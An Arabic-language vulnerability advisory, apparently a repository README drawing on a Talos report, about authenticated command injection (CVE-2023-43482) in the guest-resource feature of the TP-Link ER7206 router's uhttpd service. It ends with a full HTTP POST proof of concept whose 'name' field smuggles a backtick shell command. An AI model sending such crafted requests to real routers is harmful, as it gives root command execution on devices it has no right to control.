mr-xn/cve-2023-43482TP-Link ER7206 Omada Gigabit VPN Router uhttpd freeStrategy ثغرة حقن الأوامر
ثغرة حقن أوامر في جهاز التوجيه TP-Link ER7206 Omada Gigabit VPN Router في خدمة uhttpd freeStrategy
توجد ثغرة في تنفيذ الأوامر في وظيفة الموارد الخاصة بالضيوف (guest resource) في جهاز التوجيه Tp-Link ER7206 Omada Gigabit VPN Router بإصدار 1.3.0 build 20230322 Rel.70591. يمكن أن يؤدي طلب HTTP مصمم خصيصاً إلى تنفيذ أوامر اعتباطية. يمكن للمهاجم إرسال طلب HTTP موثَّق لاستغلال هذه الثغرة.
الإصدارات التالية تم اختبارها أو التحقق من ضعفها بواسطة Talos أو تم تأكيد ضعفها من قبل البائع.
Tp-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591
ER7206 Omada Gigabit VPN Router - https://www.tp-link.com/us/business-networking/vpn-router/er7206/
جهاز التوجيه ER7206 Omada Gigabit VPN Router هو حل شبكي عالي الأداء يدعم الاتصال جيجابت، و VPN عالي الأمان، والتكامل مع Omada SDN للإدارة السحابية المركزية والتوفير بدون لمس (zero-touch provisioning).
يقوم جهاز التوجيه ER7206 Omada Gigabit VPN Router بتشغيل خدمات متنوعة لإدارة جهاز التوجيه أو الأجهزة المتصلة به. إحدى هذه الخدمات هي uhttpd التي تعمل على المنفذ 80/443. تتيح للمستخدمين واجهة ويب لتكوين وإدارة جهاز التوجيه. بشكل افتراضي، تعمل الخدمة كمستخدم جذر (root). يمكن للمهاجم الحصول على صلاحيات الجذر للجهاز عن طريق استغلال هذه الخدمة.
توجد ثغرة حقن أوامر في خدمة uhttpd عند إضافة مورد ضيف (guest resource) إلى الجهاز. في واجهة الويب، يمكن الوصول إلى صفحة موارد الضيوف من خلال الانتقال إلى Authentication -> Authentication Settings -> Guest Resources. تحتوي على ميزات لإضافة وتحرير وحذف موارد الضيوف. عند إضافة مورد ضيف، يتم تشغيل طلب HTTP POST التالي:
POST /cgi-bin/luci/;stok=b53d9dc12fe8aa66f4fdc273e6eaa534/admin/freeStrategy?form=strategy_list HTTP/1.1
Host: 192.168.8.100
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: sysauth=8701fa9dc1908978bc804e7d08931706
Content-Length: 470
data=%7B%22method%22%3A%22add%22%2C%22params%22%3A%7B%22index%22%3A0%2C%22old%22%3A%22add%22%2C%22new%22%3A%7B%22name%22%3A%22DDDDL|`/usr/bin/id>/tmp/had`%22%2C%22strategy_type%22%3A%22five_tuple%22%2C%22src_ipset%22%3A%22%2F%22%2C%22dst_ipset%22%3A%22%2F%22%2C%22mac%22%3A%22%22%2C%22sport%22%3A%22-%22%2C%22dport%22%3A%22-%22%2C%22service_type%22%3A%22TCP%22%2C%22zone%22%3A%22LAN1%22%2C%22comment%22%3A%22%22%2C%22enable%22%3A%22on%22%7D%2C%22key%22%3A%22add%22%7D%7D